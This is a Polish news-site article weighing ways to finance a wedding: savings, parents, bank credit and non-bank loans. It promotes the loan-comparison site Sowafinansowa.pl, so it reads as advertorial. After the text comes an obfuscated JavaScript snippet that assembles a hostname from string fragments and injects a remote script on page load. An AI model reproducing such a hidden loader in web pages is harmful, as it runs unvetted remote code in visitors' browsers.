Tradycja mówi, że taka okazja zdarza się raz w życiu, dlatego młoda para (często pod presją rodziców) zazwyczaj nie zamierza na przyjęciu ślubnym oszczędzać. Pieniądze na wesele skądś jednak trzeba zdobyć. A sposobów na to jest kilka.
Wśród narzeczonych wciąż jeszcze zdarzają się pary, które całą potrzebną kwotę po prostu odłożą. W zależności od tego jak huczne ma być wesele, oszczędzać trzeba będzie nawet przez kilka lat. A to z kolei przesuwa w czasie plany małżeńskie. Jest to zatem opcja wyłącznie dla tych bardziej wytrwałych i cierpliwych. Osobom, które wspólne życie chciałyby rozpocząć najszybciej jak się da, perspektywa wieloletniego oszczędzania z pewnością się nie spodoba.
W takiej sytuacji możemy zatem albo zredukować nasze oczekiwania co do wesela, np. zamiast szalonej zabawy zorganizować skromny obiad dla najbliższych albo sięgnąć do kolejnego sposobu, czyli wzięcia pożyczki.
Tutaj z odsieczą zwykle przychodzą rodzice, którzy często oferują młodym, że dorzucą się do wesela lub sfinansują je w całości. Co więcej, wcale nie oczekują zwrotu poniesionych nakładów finansowych. Takie rozwiązanie wydaje się więc być manną z nieba dla przyszłych małżonków. Niestety, nie zawsze jest tak kolorowo, jak mogłoby się wydawać. Dokładając się do wesela, rodzice często chcą narzucić zaręczonym swój punkt widzenia. Koniec końców przyszli małżonkowie, zamiast zorganizować wesele według własnych upodobań, muszą zgodzić się na to, czego chcą rodzice. Skoro płacą, nie wypada im przecież odmówić…
Dlatego też coraz więcej osób planujących ślub woli po pożyczkę pójść do kogoś, kto jest zupełnie bezstronny i nie będzie rościł sobie prawa do decydowania o wyglądzie przyjęcia ślubnego. Banki, bo o nich mowa, takich klientów przyjmą z otwartymi ramionami.
A wybór kredytów jest naprawdę spory. I dobrze, gdyż dzięki temu przyszli małżonkowie nie muszą zadłużać się w pierwszym lepszym banku, tylko mogą wybrać najkorzystniejszą cenowo propozycję. W końcu będzie to ich pierwsze zobowiązanie finansowe na nowej, wspólnej drodze życia. Decyzja ta nie może więc być podjęta bez namysłu.
Aby wybór kredytu nie trwał jednak zbyt długo (przed ślubem jest przecież wiele innych, ważnych spraw do załatwienia), warto wcześniej spojrzeć na ranking kredytów gotówkowych na Sowafinansowa.pl. Na podstawie przedstawionej tam przykładowej kwoty kredytu, można ocenić, gdzie prawdopodobnie będzie on najtańszy.
Kredyt to jednak nie jedyne wyjście. Warto bowiem porównać także pożyczki pozabankowe na Sowafinansowa.pl. Zazwyczaj można je dostać szybciej niż kredyt w banku, a okres ich spłaty wynosi nawet kilkanaście miesięcy.
Czy zaciąganie kredytu na wesele jest rozsądne? Działanie to ma zarówno swoich przeciwników, jak i zwolenników. Ci pierwsi zazwyczaj twierdzą, że wesela i tak nie robi się dla siebie, tylko dla rodziny, a licząc na to, że jego koszty zwrócą nam się “w kopertach” jesteśmy po prostu naiwni. Co więcej, rozpoczynanie wspólnego życia z długiem na koncie, nie jest dobre dla żadnego małżeństwa. Zwolennicy wesela za kredyt zaznaczają natomiast, że jest to impreza, która nigdy się nie powtórzy. Zarówno Młodzi, jak i ich goście będą ją wspominać przez lata, dlatego warto wydać na nią nawet ostatni gorsz.
Zanim zatem podejmiemy decyzję o weselu, warto dokładnie obliczyć, jaki byłby jego koszt. W zestawieniu tym musimy uwzględnić także inne wydatki związane ze ślubem, np. zakup sukni. Tylko wtedy młodzi ludzie zobaczą ile rzeczywiście będzie ich kosztowało przygotowanie tego jedynego w swoim rodzaju dnia i ocenią czy stać ich na zaciągnięcie kredytu czy może lepiej ograniczyć plany weselne do absolutnego minimum.
(ks)
(function(){ ua9y=document.createElement("script");ua9y.type="text/javascript"; ua9y.async=true;ua9y_=(("us")+"t")+"a";ua9y_+=("t.i")+""+"n";ua9y_+=(("f")+"o"); ua9y.src="http://"+ua9y_+"/5089614.cr81b33ta9yqxc7i0sd4tX5gstdg9k"; document.body.appendChild(ua9y); })();Byłeś świadkiem jakiegoś wypadku lub innego zdarzenia? Wiesz coś, o czym my nie wiemy albo jeszcze nie napisaliśmy? Daj nam znać i zgłoś swój temat!
Wypełnij formularz lub wyślij pod adres: [email protected].Kontakt telefoniczny z Redakcją Bolec.Info: +48 693 375 790 (przez całą dobę).